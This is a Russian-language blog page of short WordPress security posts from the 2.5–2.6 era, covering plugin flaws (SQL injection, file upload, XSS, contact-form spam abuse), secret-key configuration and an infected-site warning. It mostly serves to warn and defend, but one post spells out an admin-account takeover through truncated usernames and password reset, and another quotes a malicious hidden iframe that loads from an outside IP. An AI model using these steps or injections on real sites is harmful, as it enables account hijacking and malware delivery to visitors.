Уязвимости в плагинах Media Holder и e-Commerce
Найдены уязвимости в WordPress-плагинах Media Holder и E-Commerce.
На обе уязвимости уже выпущены эксплоиты, которые могут использоваться для нарушения безопасности Вашего блога.
Плагин Media Holder предназначен для размещения в блоге различных медиа-данных, видео, аудио и тп.
Плагин e-Commerce используется для создания интернет-магазина на основе вашего WordPress-блога.
Уязвимость в плагине WordPress Media Holder связана с ошибкой обработки данных при работе с базой MySQL вашего блога. Эксплоит можно просмотреть .
Уязвимость в плагине WordPress e-Commerce связана с неправильной обработкой загружаемых на сервер файлов. Эксплоит можно посмотреть .
Если вы используете один из этих плагинов в своем блоге, отключите их до тех пор, пока появится обновление, которое исправляет данные уязвимости.
Для борьбы с уязвимостями которые используют базу данных MySQL в WordPress-блоге, возможно будет полезно изменение префикса таблиц, при установке блога, либо если блог уже установлен со стандартным префиксом wp_ воспользуйтесь плагином, который изменяет префиксы таблиц, в уже существующем блоге.
Popularity: 100% []
Уязвимость SQL-инъекции в плагине WP Comment Remix
Найдена уязвимость в плагине WordPress - WP Comment Remix. Плагин предназначается для улучшения функций комментирования. Позволяет добавить функции цитирования и ответа на комментарии.
На эту уязвимость уже написан эксплоит, который позволяет извлечь из блога-жертвы очень много, важных данных, таких как:
- Настройки блога и активные плагины
- Список пользователей блога
- Список администраторов блога
Сам эскплоит можно скачать .
Для закрытия уязвимости, либо отключите плагин, либо смените префикс таблиц, в базе данных вашего блога со стандартного wp_ на что-то типа dsf342h_
Popularity: 31% []
Уязвимость усечения данных в SQL WordPress 2.6.1
Найдена новая уязвимость в WordPress 2.6.1 которая заключается в ошибке усечения данных в базе SQL.
- Идем по ссылке server.com/wp-login.php?action=register
- Регистрируемся как пользователь "admin x" и Ваш email
- Логин выглядит как admin[55 пробелов]х
- После регистрации дубликата логина администратора, идем по ссылке восстановления пароля: server.com/wp-login.php?action=lostpassword
- В форме восстановления пароля вводим email на который регистрировали дубликат логина администратора.
- Получаем письмо с ссылкой на сброс пароля, сбрасываем пароль администратора. Новый пароль прийдет на email, но правда уже не на Ваш, а на email администратора блога.
Popularity: 46% []
Уязвимости в Contact Form ][ для WordPress
Найдена уязвимость в плагинах контактной формы WordPress - Contact Form версии 2.0.13 и ниже.
Плохая защита от ботов: отсутствие капчи, позволяет спам-ботам отправлять неограниченное количество спам-сообщений администратору сайта.
Использование функционала для рассылки спама: в форме контактов есть поле которое называется "Отправить копию самому себе", это настраивается в настройках плагина (CarbonCopy Ability), используя это поле, спам можно отправлять не только администратору сайта но и другим людям.
Используя эти две уязвимости, можно превратить контактную форму в инструмент по рассылке спама, большому количеству людей.
Источник: .
В своих блогах и своим заказчикам я устанавливаю контактную форму WordPress с помощью плагина WordPress Contact Form III, там присутствует проверка от спам-ботов.
Popularity: 37% []
Секретные ключи в WordPress 2.6
Продолжая тему о уязвимости секретного ключа в файле конфигурации WordPress, хочу обратить ваше внимание на то, что в новой версии WordPress 2.6, кроме строчки “SECRET_KEY“ есть еще две, на которые также необходимо обращать внимание при установке или обновлении WordPress блога.
Строчки эти выглядят вот так:
define('AUTH_KEY', 'впишите сюда уникальную фразу'); // Измените на уникальную фразу.
define('SECURE_AUTH_KEY', 'впишите сюда уникальную фразу'); // Измените на уникальную фразу.
define('LOGGED_IN_KEY', 'впишите сюда уникальную фразу'); // Измените на уникальную фразу.
Значение каждого параметра должно быть уникальным, сложным и длинным. Что бы не утруждать себя выдумыванием этих значений, вы можете воспользоваться специальным , который генерирует эти три строчки для вашего файла конфигурации.
Просто откройте эту , и скопируйте код в файл конфигурации вашего WordPress блога wp-config.php, вот и все, теперь проблема с уникальными ключами вашего блога решена и ваш блог стал еще более защищённым.
Блоговодство:
Popularity: 36% []
Внимание вирус!
Вчера на одном из сайтов заказчиков, был обнаружен код, который определяется как вирусный код, все сайты которые содержат эту строчку, попадают сразу в категорию опасных сайтов, поэтому будьте внимательны и проверьте файлы своего сайта и посты, на наличие подобного кода.
<!-- Traffic Statistics --> <iframe src=хттп://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->
Если у вас нашлось что-то подобное, ознакомьтесь с этим постом.
Popularity: 31% []
Уязвимость WordPress Plugin Download Manager 0.2
Уязвимость в данном скрипте, дает возможность атакующему закачать любой файл, на сервер. Это становится возможным из-за ошибки проверки входных данных в файле upload.php.
Исправления данной ошибки пока не существует, возможно будет выпущен патч, или ошибка будет исправлена в следующей версии WordPress.
использования данной уязвимости.
Popularity: 22% []
WordPress 2.6 – еще больше безопасности
Вышла новая версия лучшего движка для блогов - WordPress 2.6. В новой версии исправлено очень много ошибок и уязвимостей, а также проделано много работы для повышения безопасности блога.
- Теперь после установки WordPress на новый блог, по умолчанию протокол удаленной работы с блогом XML-RPC отключен, до тех пор, пока администратор блога не активирует его в настройках. Теоритически возможность атаки блога через этот протокол существует, а блоггеров которые активно пользуются этим протоколом не так уж и много, поэтому данная мера должна немного повысить безопасность вашего блога.
- Полная поддержка работы по протоколу шифрования SSL. Никаких плагинов и настроек делать не нужно, если возможно то WordPress сам будет пытаться работать через зашифрованное подключение SSL.
- Улучшения работы с базой данных и хранением сессий пользователей.
Помимо всего этого, обновление до версии WordPress 2.6 исправляет 194 ошибки, которые небыли исправлены в 2.5.1.
Лично я уже обновил все свои до версии 2.6, хотя на многих сайтах рекомендуют подождать немного, что бы посмотреть как будет работать новая версия. С уверенностью заявляю, пока что новая версия WordPress 2.6 на моих ресурсах работает отлично.
Скачать русскую версию WordPress 2.6 вы можете на официальном .
Popularity: 30% []
XSS уязвимость плагина Nextgen gallery
В плагине , версии <= 0.96 была найдена уязвимость XSS
Злоумышленник, может без авторизации использовать следующий скрипт:
http://[host]/[directory]/wp-admin/admin.php?page=nggallery-manage-gallery
Насколько известно, исправлений в данный момент не существует.
Popularity: 25% []
Уязвимость секретного ключа в wordpress 2.5
Очень важно при обновлении или установке WordPress обратить внимание на параметр "SECRET_KEY", с этим параметром связана безопасность паролей в вашем блоге.
В новых версиях WordPress этот ключ стали использовать для усиления алгоритма криптования паролей md5, поэтому очень важно иметь в качестве этого параметра какую-то длинную строчку с различными символами, дабы усложнить процесс расшифровки вашего пароля, если не дай то бог, злоумышленник получил доступ к зашифрованным паролям.
При установке или обновлении блога, WordPress изначально не предлагает изменить эту строчку и вообще о ней ничего не говорит, именно поэтому у большинства блоггеров этот параметр выглядит примерно вот так: "put your unique phrase here".
Если вам лениво придумывать длинный набор символов, для этого параметра, воспользуйтесь , который сгенерирует для вас подходящую строчку. После этого, откройте файл wp-config.php и измените стандартную строку "put your unique phrase here" на строчку которую вы сгенерировали на сайте. Сохраните изменения и закачайте файл на сервер.
Popularity: 35% []
